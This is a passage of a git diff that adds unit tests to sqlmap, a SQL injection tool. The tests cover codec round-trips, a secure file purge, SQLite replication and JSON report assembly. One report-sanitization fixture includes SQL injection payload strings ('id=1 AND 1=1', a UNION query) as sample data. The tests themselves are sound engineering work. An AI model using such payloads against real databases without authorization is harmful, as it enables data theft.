msg=captured[-1]) + + def test_no_draw_when_not_tty(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = False # piped/redirected: no animated bar should reach the stream + try: + pb = ProgressBar(0, 10, 78) + for i in range(1, 11): + pb.progress(i) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertEqual(captured, [], msg="progress bar leaked to a non-TTY stream: %r" % captured) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_property.py b/tests/test_property.py new file mode 100644 index 00000000000..3919b50ffaf --- /dev/null +++ b/tests/test_property.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Property/fuzz tests for the pure parsers and transforms. Where the other test +files pin specific examples, these assert INVARIANTS over hundreds of randomized +(but deterministic, cross-version-identical - see _testutils.Rng) inputs, which is +the cheap net for the edge-bug class that example tests miss (commas inside quoted +literals / nested parens, NUL / 0xff / astral code points in codecs, etc.). + +Property families: + - codec/serializer pairs round-trip: decode(encode(x)) == x + - structure transforms preserve their contract (flat/de-arrayized/permutation) + - string transforms hold their stated invariant (ASCII-only, no newlines, ...) + - random helpers respect length / alphabet / range bounds + - splitFields/zeroDepthSearch partition faithfully and never cut inside a group + - a batch of transforms never raise on arbitrary input + +On failure _testutils.for_all prints the exact offending input + its case index so +it reproduces on any interpreter. +""" + +import os +import string +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, for_all, set_dbms, reset_dbms +bootstrap() + +from extra.cloak.cloak import cloak, decloak +from lib.core.common import (escapeJsonValue, filterStringValue, flattenValue, isListLike, normalizeUnicode, + prioritySortColumns, randomInt, randomRange, randomStr, safeSQLIdentificatorNaming, + sanitizeStr, splitFields, unArrayizeValue, unsafeSQLIdentificatorNaming, urldecode, + urlencode, zeroDepthSearch) +from lib.core.convert import (decodeBase64, decodeHex, dejsonize, deserializeValue, encodeBase64, + encodeHex, getBytes, getConsoleLength, getOrds, getText, htmlEscape, htmlUnescape, + jsonize, serializeValue, stdoutEncode) +from lib.core.data import kb +from lib.utils.safe2bin import safecharencode + + +# --- input strategies (draw ONLY through rng: randint / choice / sample / blob) --- + +# deliberately loaded with structural metacharacters + tricky code points +_TEXT = [u"a", u"Z", u"7", u" ", u",", u"'", u'"', u"(", u")", u"\\", u";", + u"\n", u"\t", u"\x00", u"\x7f", u"\xe9", u"\u0107", u"\u4e2d", u"\U0001F600", u" FROM "] + + +def gen_text(rng): + return u"".join(rng.choice(_TEXT) for _ in range(rng.randint(0, 24))) + + +def gen_ascii(rng): + return u"".join(rng.choice(string.printable) for _ in range(rng.randint(0, 20))) + + +def gen_blob(rng): + return rng.blob(rng.randint(0, 32)) + + +def gen_json(rng): + # JSON-safe only: tuples become lists and non-str keys are coerced, so exclude them here + if rng.randint(0, 4) == 0: + return [gen_json(rng) for _ in range(rng.randint(0, 3))] + if rng.randint(0, 4) == 0: + return dict((u"k%d" % j, gen_json(rng)) for j in range(rng.randint(0, 3))) + return rng.choice([0, 1, -1, 2 ** 31, 1.5, -0.25, True, False, None, u"", u"x", u"\u0107", u'a"b,c']) + + +def gen_serializable(rng): + kind = rng.randint(0, 9) + if kind < 5: + return rng.choice([0, -7, 2 ** 40, 3.5, True, False, None, u"\u0107x", b"\x00\xff", u""]) + if kind < 7: + return [gen_serializable(rng) for _ in range(rng.randint(0, 3))] + if kind < 8: + return tuple(gen_serializable(rng) for _ in range(rng.randint(0, 3))) + if kind < 9: + return set(rng.choice([1, 2, 3, u"a", u"b"]) for _ in range(rng.randint(0, 3))) + return dict((u"k%d" % j, gen_serializable(rng)) for j in range(rng.randint(0, 2))) + + +def gen_columns(rng): + return [rng.choice([u"id", u"userid", u"name", u"password", u"a", u"created_id", u"x_id_y", u"data"]) + for _ in range(rng.randint(0, 6))] + + +def gen_ident(rng): + # clean (round-trippable) identifier names: letters/digits/underscore, optional dot/space + chars = string.ascii_letters + string.digits + u"_" + name = u"".join(rng.choice(chars) for _ in range(rng.randint(1, 10))) + if rng.randint(0, 3) == 0: + name += rng.choice([u".col", u" alias", u"_2"]) + return name + + +# well-formed field lists: balanced parens, properly closed/escaped quotes +_TOKENS = [u"foo", u"bar", u"id", u"a b", u"1", u"*", u"max(a)", u"COALESCE(a, b, c)", u"func(x, y)"] +_QUOTED = [u"a,b", u"x, y", u"f(1, 2)", u"o''k", u"plain", u""] + + +def gen_sql_fields(rng): + parts = [] + for _ in range(rng.randint(1, 5)): + t = rng.randint(0, 9) + if t < 5: + parts.append(rng.choice(_TOKENS)) + elif t < 8: + q = rng.choice([u"'", u'"']) + parts.append(q + rng.choice(_QUOTED) + q) + else: + parts.append(u"g(%s, %s)" % (rng.choice(_TOKENS), rng.choice(_TOKENS))) + return u", ".join(parts) + + +class TestCodecRoundTrips(unittest.TestCase): + def test_base64(self): + for_all(self, gen_blob, lambda b: decodeBase64(encodeBase64(b)) == b, label="base64") + + def test_hex(self): + for_all(self, gen_blob, lambda b: decodeHex(encodeHex(b)) == b, label="hex") + + def test_getbytes_gettext(self): + # unsafe=False -> plain UTF-8 (no \xNN escape interpretation), so it is a clean round-trip + for_all(self, gen_text, lambda s: getText(getBytes(s, unsafe=False)) == s, label="bytes-text") + + def test_json(self): + for_all(self, gen_json, lambda v: dejsonize(jsonize(v)) == v, label="json") + + def test_serialize(self): + for_all(self, gen_serializable, lambda v: deserializeValue(serializeValue(v)) == v, label="serialize") + + def test_html_escape(self): + for_all(self, gen_text, lambda s: htmlUnescape(htmlEscape(s)) == s, label="html") + + def test_cloak(self): + for_all(self, gen_blob, lambda b: decloak(data=cloak(data=b)) == b, label="cloak") + + +class TestStructureTransforms(unittest.TestCase): + def test_unarrayize_never_listlike(self): + # the whole point of unArrayizeValue is that the result is a scalar, never a list/tuple + # (gen_serializable includes sets - they used to crash here; see test_unarrayize_set regression) + for_all(self, gen_serializable, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") + + def test_flatten_is_flat(self): + for_all(self, gen_serializable, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") + + def test_unarrayize_set(self): + # regression: a 1-element set is list-like but not subscriptable; unArrayizeValue must + # de-arrayize it rather than crash on value[0] + self.assertEqual(unArrayizeValue(set(["x"])), "x") + self.assertEqual(unArrayizeValue(set()), None) + self.assertEqual(unArrayizeValue(["1"]), "1") # ordinary fast-path still works + + def test_prioritysort_is_permutation(self): + # sorting must not invent/drop columns, and must be idempotent + def prop(cols): + out = prioritySortColumns(cols) + return sorted(out) == sorted(cols) and prioritySortColumns(out) == out + for_all(self, gen_columns, prop, label="prioritysort") + + +class TestStringTransforms(unittest.TestCase): + def test_normalize_unicode_is_ascii(self): + for_all(self, gen_text, lambda s: all(ord(c) < 128 for c in normalizeUnicode(s)), label="normalize-ascii") + + def test_sanitizestr_strips_newlines(self): + for_all(self, gen_text, lambda s: "\n" not in sanitizeStr(s) and "\r" not in sanitizeStr(s), label="sanitizestr") + + def test_filterstringvalue_charset(self): + allowed = set("0123456789abcdef") + for_all(self, gen_text, lambda s: set(filterStringValue(s, r"[0-9a-f]")) <= allowed, label="filterstring") + + def test_escapejson_no_control_char(self): + # control chars and bare quotes must be escaped away (output is JSON-string-body safe re: those) + for_all(self, gen_text, lambda s: all(c >= " " for c in escapeJsonValue(s)), label="escapejson-invariant") + + def test_escapejson_json_roundtrip(self): + # escapeJsonValue(s) embedded in a JSON string must parse back to s - for ALL text, + # including backslash (the F1 fix; this used to fail on '\') + import json + for_all(self, gen_text, lambda s: json.loads(u'"%s"' % escapeJsonValue(s)) == s, label="escapejson-roundtrip") + + def test_escapejson_backslash(self): + # regression for F1: backslash is now escaped, so the round-trip holds + import json + self.assertEqual(json.loads(u'"%s"' % escapeJsonValue(u"a\\b")), u"a\\b") + + def test_getords_length(self): + for_all(self, gen_text, lambda s: len(getOrds(s)) == len(s) and all(isinstance(o, int) for o in getOrds(s)), label="getords") + + def test_consolelength_ascii(self): + for_all(self, gen_ascii, lambda s: getConsoleLength(s) == len(s), label="consolelength") + + +class TestRandomHelpers(unittest.TestCase): + def test_randomstr_length_and_alphabet(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: len(randomStr(n)) == n and set(randomStr(n)) <= set(string.ascii_letters), label="randomstr") + + def test_randomstr_lowercase(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: set(randomStr(n, lowercase=True)) <= set(string.ascii_lowercase), label="randomstr-lower") + + def test_randomint_digits(self): + for_all(self, lambda r: r.randint(1, 8), lambda n: len(str(randomInt(n))) == n, label="randomint") + + def test_randomrange_bounds(self): + def prop(_): + a = _[0] + b = _[0] + _[1] + return a <= randomRange(a, b) <= b + for_all(self, lambda r: (r.randint(-50, 50), r.randint(0, 100)), prop, label="randomrange") + + +class TestSplitterInvariants(unittest.TestCase): + def test_reconstruction(self): + # Faithful partition: rejoining the 0-depth split reconstructs the input modulo the only + # transform splitFields applies - dropping a single space after an unquoted delimiter. So + # nothing other than spaces may be lost/added/reordered. (Space-insensitive so it survives + # the quote-aware normalization: spaces inside 'literals' are kept, comma-trailing ones are + # not; either way no non-space content changes.) + for_all(self, gen_text, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-text") + for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-sql") + + def test_quoted_literal_spaces_preserved(self): + # the I3 contract: a ", " inside a quoted literal must NOT be collapsed (the whole literal + # survives intact as a single field) + for_all(self, lambda r: u"%s, '%s, %s', %s" % (r.choice([u"a", u"id"]), r.choice([u"x", u"p q"]), r.choice([u"y", u"z"]), r.choice([u"b", u"c"])), + lambda s: u"'%s'" % s.split(u"'")[1] in splitFields(s), label="split-quote-preserve") + + def test_never_cuts_inside_parens(self): + # on well-formed input no field may carry unbalanced parens (i.e. a split never lands inside a group) + for_all(self, gen_sql_fields, lambda s: all(f.count(u"(") == f.count(u")") for f in splitFields(s)), label="split-balanced") + + def test_zerodepth_indices_are_real_commas(self): + def prop(s): + idx = zeroDepthSearch(s, ",") + return all(s[i] == u"," for i in idx) and idx == sorted(idx) and len(set(idx)) == len(idx) + for_all(self, gen_text, prop, label="zerodepth-commas-text") + for_all(self, gen_sql_fields, prop, label="zerodepth-commas-sql") + + +class TestIdentifierRoundTrip(unittest.TestCase): + def setUp(self): + self._saved = kb.get("forcedDbms") + set_dbms("MySQL") # identifier quoting is DBMS-specific; pin a case-preserving back-end + + def tearDown(self): + kb.forcedDbms = self._saved + + def test_safe_unsafe_roundtrip(self): + for_all(self, gen_ident, lambda n: unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(n)) == n, label="identifier") + + +class TestRobustness(unittest.TestCase): + # total functions: must never raise on arbitrary text (return value unconstrained) + def test_urlencode_urldecode(self): + for_all(self, gen_text, lambda s: (urlencode(s), urldecode(s)) and True, label="urlcodec") + + def test_safecharencode(self): + for_all(self, gen_text, lambda s: safecharencode(s) is not None or s == u"", label="safecharencode") + + def test_stdoutencode(self): + for_all(self, gen_text, lambda s: stdoutEncode(s) is not None or s == u"", label="stdoutencode") + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_purge.py b/tests/test_purge.py new file mode 100644 index 00000000000..c532d7b73cf --- /dev/null +++ b/tests/test_purge.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Secure directory purge (lib/utils/purge.py, the --purge feature): multi-pass +overwrite + truncation + removal of a directory's content. Driven against a +throwaway temp tree so the real output dir is never touched. +""" + +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.purge as purge_mod +from lib.utils.purge import purge + + +class _RecordingLogger(object): + """Captures every (level, message) emitted while installed as purge.logger.""" + + def __init__(self): + self.records = [] + + def _add(self, level): + return lambda msg, *a: self.records.append((level, msg % a if a else msg)) + + def __getattr__(self, name): + if name in ("warning", "info", "debug", "error", "critical"): + return self._add(name) + raise AttributeError(name) + + def messages(self, level=None): + return [m for (lvl, m) in self.records if level is None or lvl == level] + + +class TestPurge(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="sqlmap_purge_") + + def tearDown(self): + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_overwrites_and_truncates_file_contents(self): + # a couple of files + a nested subdir with a (non-empty) file + plaintexts = { + os.path.join(self.tmp, "a.txt"): "secret data", + os.path.join(self.tmp, "sub", "b.txt"): "more secret data", + } + with open(os.path.join(self.tmp, "a.txt"), "w") as f: + f.write(plaintexts[os.path.join(self.tmp, "a.txt")]) + with open(os.path.join(self.tmp, "empty.bin"), "w") as f: + pass + os.mkdir(os.path.join(self.tmp, "sub")) + with open(os.path.join(self.tmp, "sub", "b.txt"), "w") as f: + f.write(plaintexts[os.path.join(self.tmp, "sub", "b.txt")]) + + # neutralise the final rmtree so the overwrite/truncate work product remains + # observable on disk; the files are renamed, so locate them by walking the tree. + real_rmtree = purge_mod.shutil.rmtree + purge_mod.shutil.rmtree = lambda *a, **k: None + try: + purge(self.tmp) + finally: + purge_mod.shutil.rmtree = real_rmtree + + # collect every surviving regular file (names are randomised by purge) + survivors = [] + for root, _dirs, files in os.walk(self.tmp): + for name in files: + survivors.append(os.path.join(root, name)) + + # the originally non-empty files still exist (rmtree was a no-op) but the + # multi-pass overwrite + truncation reduced each to size 0 and the original + # plaintext is gone. + nonempty = [p for p in survivors if os.path.getsize(p) > 0] + self.assertEqual(nonempty, [], msg="files were not truncated to zero: %r" % nonempty) + + blob = b"" + for p in survivors: + with open(p, "rb") as fh: + blob += fh.read() + for secret in plaintexts.values(): + self.assertNotIn(secret.encode("utf-8"), blob, + msg="original plaintext %r survived the purge" % secret) + + def test_purges_nested_content(self): + # full purge (including rmtree) wipes the whole tree + with open(os.path.join(self.tmp, "a.txt"), "w") as f: + f.write("secret data") + sub = os.path.join(self.tmp, "sub") + os.mkdir(sub) + with open(os.path.join(sub, "b.txt"), "w") as f: + f.write("more secret data") + + purge(self.tmp) + + self.assertFalse(os.path.exists(self.tmp)) + + def test_nonexistent_directory_is_noop(self): + missing = os.path.join(self.tmp, "does_not_exist") + + real_logger = purge_mod.logger + rec = _RecordingLogger() + purge_mod.logger = rec + try: + # must not raise; the guard branch logs a skip warning and returns + purge(missing) + finally: + purge_mod.logger = real_logger + + self.assertFalse(os.path.exists(missing)) + self.assertTrue( + any("skipping purging" in w and "does not exist" in w for w in rec.messages("warning")), + msg="nonexistent-directory guard did not log its warning: %r" % rec.records, + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_replication.py b/tests/test_replication.py new file mode 100644 index 00000000000..7e5d8a0c594 --- /dev/null +++ b/tests/test_replication.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQLite replication writer (lib/core/replication.py). + +This is what backs `--dump ... --dump-format SQLITE` / replication: it mirrors +dumped tables into a local SQLite file. Tested end-to-end against a real temp +database (create table, typed columns, insert, select, persistence) and read +back independently with the stdlib sqlite3 driver. +""" + +import os +import sqlite3 +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.replication import Replication +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapValueException + + +class _ReplCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) + self.rep = Replication(self.path) + + def tearDown(self): + try: + del self.rep + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + def _readback(self, sql): + conn = sqlite3.connect(self.path) + try: + return conn.execute(sql).fetchall() + finally: + conn.close() + + +class TestCreateInsertSelect(_ReplCase): + def test_roundtrip(self): + t = self.rep.createTable("users", [("id", self.rep.INTEGER), ("name", self.rep.TEXT)]) + t.insert([1, "admin"]) + t.insert([2, "guest"]) + self.assertEqual(t.select(), [(1, "admin"), (2, "guest")]) + + def test_persisted_to_disk(self): + t = self.rep.createTable("t", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([10, "x"]) + # autocommit (isolation_level=None) => visible to an independent connection + self.assertEqual(self._readback("SELECT id, v FROM t"), [(10, "x")]) + + def test_real_and_blob_types(self): + t = self.rep.createTable("mix", [("r", self.rep.REAL), ("b", self.rep.BLOB)]) + t.insert([3.5, b"\x00\x01"]) + self.assertEqual(self._readback("SELECT r FROM mix")[0][0], 3.5) # REAL preserved exactly + # BLOB containing a NUL byte must survive intact (a naive str path would truncate at \x00). + # It comes back as a 2-element value (text on py3); assert the NUL didn't truncate it. + blob = self._readback("SELECT b FROM mix")[0][0] + self.assertEqual(len(blob), 2, msg="blob truncated/altered: %r" % (blob,)) + + def test_null_and_empty_values(self): + t = self.rep.createTable("n", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([None, ""]) + self.assertEqual(self._readback("SELECT id, v FROM n"), [(None, "")]) + + def test_create_replaces_existing(self): + t1 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + t1.insert([1]) + # createTable drops-if-exists, so the table is fresh + t2 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + self.assertEqual(t2.select(), []) + + +class TestInsertColumnMismatch(_ReplCase): + def test_wrong_column_count_raises(self): + t = self.rep.createTable("c", [("a", self.rep.INTEGER), ("b", self.rep.TEXT)]) + # too few / too many values must be rejected (not silently mis-inserted) + self.assertRaises(SqlmapValueException, t.insert, [1]) + self.assertRaises(SqlmapValueException, t.insert, [1, "x", "extra"]) + # the matching count still works + t.insert([1, "x"]) + self.assertEqual(t.select(), [(1, "x")]) + + +class TestInitFailure(unittest.TestCase): + """A failed open (e.g. unwritable path) must raise cleanly and the partially + constructed object must be safe to finalize (no AttributeError in __del__).""" + + def _bad_path(self): + # a database file inside a directory that does not exist => connect fails + return os.path.join(tempfile.gettempdir(), "sqlmap_no_such_dir_%d" % os.getpid(), "x.sqlite") + + def test_bad_path_raises(self): + self.assertRaises(SqlmapConnectionException, Replication, self._bad_path()) + + def test_del_safe_after_failed_init(self): + obj = Replication.__new__(Replication) + self.assertRaises(SqlmapConnectionException, obj.__init__, self._bad_path()) + # connection/cursor must be initialized even when connect() fails ... + self.assertIsNone(obj.connection) + self.assertIsNone(obj.cursor) + # ... so finalization is a no-op rather than raising + obj.__del__() + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_report.py b/tests/test_report.py new file mode 100644 index 00000000000..d5dade14161 --- /dev/null +++ b/tests/test_report.py @@ -0,0 +1,226 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSON scan report collector/assembler (lib/utils/api.py), shared by the REST API +endpoint /scan//data and the CLI --report-json writer. + +The whole point of the feature is that both produce the SAME structure, so these +tests pin the shared contract: the per-content_type merge (partial -> complete), +the assembled {success, data:[{status,type,type_name,value}], error} shape, the +partRun fallback for untyped output, and the meta-wrapped file written to disk. +A regression here is a divergence between the API and the report - the exact bug +this design exists to prevent. +""" + +import io +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf, kb +from lib.core.enums import CONTENT_TYPE, CONTENT_STATUS + + +class _CollectorCase(unittest.TestCase): + def setUp(self): + self.c = api.setupReportCollector() + self._saved_partRun = kb.get("partRun") + + def tearDown(self): + kb.partRun = self._saved_partRun + # setupReportCollector() attaches a ReportErrorRecorder to the GLOBAL logger; drop it so it does + # not leak a handler bound to a now-closed collector into later tests + from lib.core.data import logger + for handler in list(logger.handlers): + if isinstance(handler, api.ReportErrorRecorder): + logger.removeHandler(handler) + try: + self.c.disconnect() + except Exception: + pass + + def _store(self, value, content_type, status=CONTENT_STATUS.COMPLETE): + api._storeData(self.c, api.REPORT_TASKID, value, status, content_type) + + +class TestAssembledShape(_CollectorCase): + def test_structure_and_typename(self): + self._store("MySQL >= 5.0.12", CONTENT_TYPE.DBMS_FINGERPRINT) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["success"], True) + self.assertEqual(result["error"], []) + self.assertEqual(len(result["data"]), 1) + entry = result["data"][0] + self.assertEqual(sorted(entry.keys()), ["status", "type", "type_name", "value"]) + self.assertEqual(entry["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(entry["type_name"], "DBMS_FINGERPRINT") # int -> readable name + self.assertEqual(entry["value"], "MySQL >= 5.0.12") + + def test_structured_values_preserved(self): + # dict / list / bool must survive as native JSON types (not stringified) - this is what + # makes the report machine-consumable, exactly like the API + self._store({"url": "http://h/?id=1", "data": None}, CONTENT_TYPE.TARGET) + self._store(["a", "b", "c"], CONTENT_TYPE.DBS) + self._store(True, CONTENT_TYPE.IS_DBA) + by_type = {d["type"]: d["value"] for d in api._assembleData(self.c, api.REPORT_TASKID)["data"]} + self.assertEqual(by_type[CONTENT_TYPE.TARGET], {"url": "http://h/?id=1", "data": None}) + self.assertEqual(by_type[CONTENT_TYPE.DBS], ["a", "b", "c"]) + self.assertIs(by_type[CONTENT_TYPE.IS_DBA], True) + + +class TestMergeSemantics(_CollectorCase): + def test_complete_replaces_partials(self): + # the API appends IN_PROGRESS chunks then a COMPLETE replaces them; final value is COMPLETE + self._store("roo", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.IN_PROGRESS) + self._store("t@localhost", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.COMPLETE) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) # one row, not two + self.assertEqual(data[0]["value"], "t@localhost") + self.assertEqual(data[0]["status"], CONTENT_STATUS.COMPLETE) + + def test_inprogress_chunks_accumulate(self): + self._store("foo", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + self._store("bar", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(data[0]["value"], "foobar") # appended + + +class TestPartRunFallback(_CollectorCase): + def test_untyped_output_tagged_via_partrun(self): + # untyped output during a part-run (e.g. the fingerprint line) is tagged by kb.partRun - + # this is how DBMS_FINGERPRINT is captured with no explicit content_type + kb.partRun = "getFingerprint" + self._store("back-end DBMS: MySQL >= 5.1", None) # content_type=None + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) + self.assertEqual(data[0]["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(data[0]["value"], "back-end DBMS: MySQL >= 5.1") + + def test_untyped_output_without_partrun_is_ignored(self): + kb.partRun = None + self._store("just a log line", None) + self.assertEqual(api._assembleData(self.c, api.REPORT_TASKID)["data"], []) + + +class TestSanitize(unittest.TestCase): + """The shared assembler strips internal plumbing (matchRatio/trueCode/falseCode/templatePayload/ + where/conf) from TECHNIQUES and restructures DUMP_TABLE (drop __infos__ wrapper + per-column + 'length'), so neither the API nor the report leaks consumer-irrelevant internals. Deterministic + (no run variance), unlike the live API-vs-report comparison.""" + + def test_techniques_internals_stripped_and_named(self): + injection = { + "place": "GET", "parameter": "id", "ptype": 1, "dbms": "MySQL", + "conf": {"string": "x", "regexp": None}, # internal -> must be dropped + "data": {"1": {"title": "boolean", "payload": "id=1 AND 1=1", "vector": "AND [INFERENCE]", + "comment": "", "where": 1, "matchRatio": 0.74, "trueCode": 200, + "falseCode": 200, "templatePayload": None}, + "6": {"title": "union", "payload": "id=1 UNION ...", "vector": "...", "comment": ""}}, + } + injection["ptype"] = 1 + injection["clause"] = [1, 8, 9] + injection["prefix"] = "" + injection["suffix"] = "" + original = json.loads(json.dumps(injection)) # deep copy to prove no mutation + out = api._sanitizeScanData(CONTENT_TYPE.TECHNIQUES, [injection])[0] + # detection/construction internals dropped + for field in ("conf", "ptype", "clause", "prefix", "suffix"): + self.assertNotIn(field, out) + # data is now an ordered LIST (not a map keyed by opaque ids), each entry named + self.assertIsInstance(out["data"], list) + self.assertEqual([t["technique"] for t in out["data"]], ["boolean-based blind", "UNION query"]) + first = out["data"][0] + self.assertEqual(sorted(first.keys()), ["comment", "payload", "technique", "title", "vector"]) + self.assertEqual(first["payload"], "id=1 AND 1=1") # consumer-relevant fields preserved + self.assertEqual(out["dbms"], "MySQL") + # input not mutated (operates on a copy - must not corrupt live kb.injections) + self.assertEqual(injection, original) + + def test_dump_table_restructured_and_unquoted(self): + value = { + "__infos__": {"db": "`master`", "table": "users", "count": 3}, + "id": {"length": 2, "values": ["1", "2", "3"]}, + "`name`": {"length": 9, "values": ["alice", " ", ""]}, # backtick id; " " is a DB NULL, "" is empty + } + out = api._sanitizeScanData(CONTENT_TYPE.DUMP_TABLE, value) + self.assertEqual(sorted(out.keys()), ["columns", "count", "db", "table"]) + self.assertNotIn("__infos__", out) + self.assertEqual(out["db"], "master") # quoting stripped (context-free) + self.assertEqual(out["table"], "users") + self.assertEqual(out["count"], 3) + # columns flattened to value lists (no 'length'), identifiers unquoted + self.assertEqual(out["columns"]["id"], ["1", "2", "3"]) + self.assertNotIn("`name`", out["columns"]) + # DB NULL (" ") -> JSON null; genuine empty string ("") preserved + self.assertEqual(out["columns"]["name"], ["alice", None, ""]) + + def test_schema_listing_identifiers_cleaned(self): + # TABLES/COLUMNS/SCHEMA/COUNT must have their identifiers unquoted too (consistency with + # DUMP_TABLE) - a regression here is the exact "X cleaned but Y not" inconsistency to avoid + tables = api._sanitizeScanData(CONTENT_TYPE.TABLES, {"`master`": ["users", "`order`"]}) + self.assertEqual(tables, {"master": ["users", "order"]}) + columns = api._sanitizeScanData(CONTENT_TYPE.COLUMNS, + {"`master`": {"users": {"id": "int", "`name`": "varchar(500)"}}}) + self.assertEqual(columns, {"master": {"users": {"id": "int", "name": "varchar(500)"}}}) + schema = api._sanitizeScanData(CONTENT_TYPE.SCHEMA, {"sys": {"w": {"`events`": "varchar(128)"}}}) + self.assertEqual(schema, {"sys": {"w": {"events": "varchar(128)"}}}) + count = api._sanitizeScanData(CONTENT_TYPE.COUNT, {"`master`": {"5": ["users"]}}) + self.assertEqual(count, {"master": {"5": ["users"]}}) + + def test_identifier_unquoting_is_context_free(self): + # all DBMS quote styles handled without Backend context (so CLI and API server agree) + self.assertEqual(api._cleanIdentifier("`tbl`"), "tbl") # MySQL + self.assertEqual(api._cleanIdentifier('"tbl"'), "tbl") # PostgreSQL/Oracle + self.assertEqual(api._cleanIdentifier("[tbl]"), "tbl") # MSSQL + self.assertEqual(api._cleanIdentifier("plain"), "plain") + + def test_other_types_pass_through(self): + # non-TECHNIQUES/DUMP_TABLE values are returned unchanged + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.CURRENT_USER, "root@%"), "root@%") + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.DBS, ["a", "b"]), ["a", "b"]) + self.assertIs(api._sanitizeScanData(CONTENT_TYPE.IS_DBA, True), True) + + +class TestErrors(_CollectorCase): + def test_errors_captured(self): + self.c.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (api.REPORT_TASKID, "something failed")) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["error"], ["something failed"]) + + +class TestWriteReportJson(_CollectorCase): + def test_file_is_valid_json_with_meta(self): + self._store("admin", CONTENT_TYPE.CURRENT_USER) + saved_url = conf.get("url") + conf.url = "http://target/?id=1" + fd, path = tempfile.mkstemp(suffix=".json") + os.close(fd) + try: + api.writeReportJson(self.c, path) + with io.open(path, encoding="utf-8") as f: # explicit UTF-8 + closed handle (no ResourceWarning, no cp1252 on Windows) + loaded = json.load(f) + # core shape == API /scan//data, plus a meta wrapper + self.assertEqual(sorted(loaded.keys()), ["data", "error", "meta", "success"]) + self.assertEqual(loaded["data"][0]["value"], "admin") + self.assertEqual(loaded["data"][0]["type_name"], "CURRENT_USER") + self.assertEqual(loaded["meta"]["url"], "http://target/?id=1") + self.assertEqual(loaded["meta"]["api_version"], 2) # MAJOR-only integer, for compatibility checks + self.assertIn("sqlmap_version", loaded["meta"]) + self.assertIn("timestamp", loaded["meta"]) + finally: + conf.url = saved_url + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_request_basic.py b/tests/test_request_basic.py new file mode 100644 index 00000000000..14977489b5a --- /dev/null +++ b/tests/test_request_basic.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for PURE functions in lib/request/basic.py. + +These exercise getHeuristicCharEncoding (with its kb.cache.encoding memoization) +and decodePage's charset + HTML-entity decoding branches, in isolation - WITHOUT +touching the network, the DBMS or any interactive prompt. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb + + +class TestBasicHeuristicCharEncoding(unittest.TestCase): + def test_ascii(self): + from lib.request.basic import getHeuristicCharEncoding 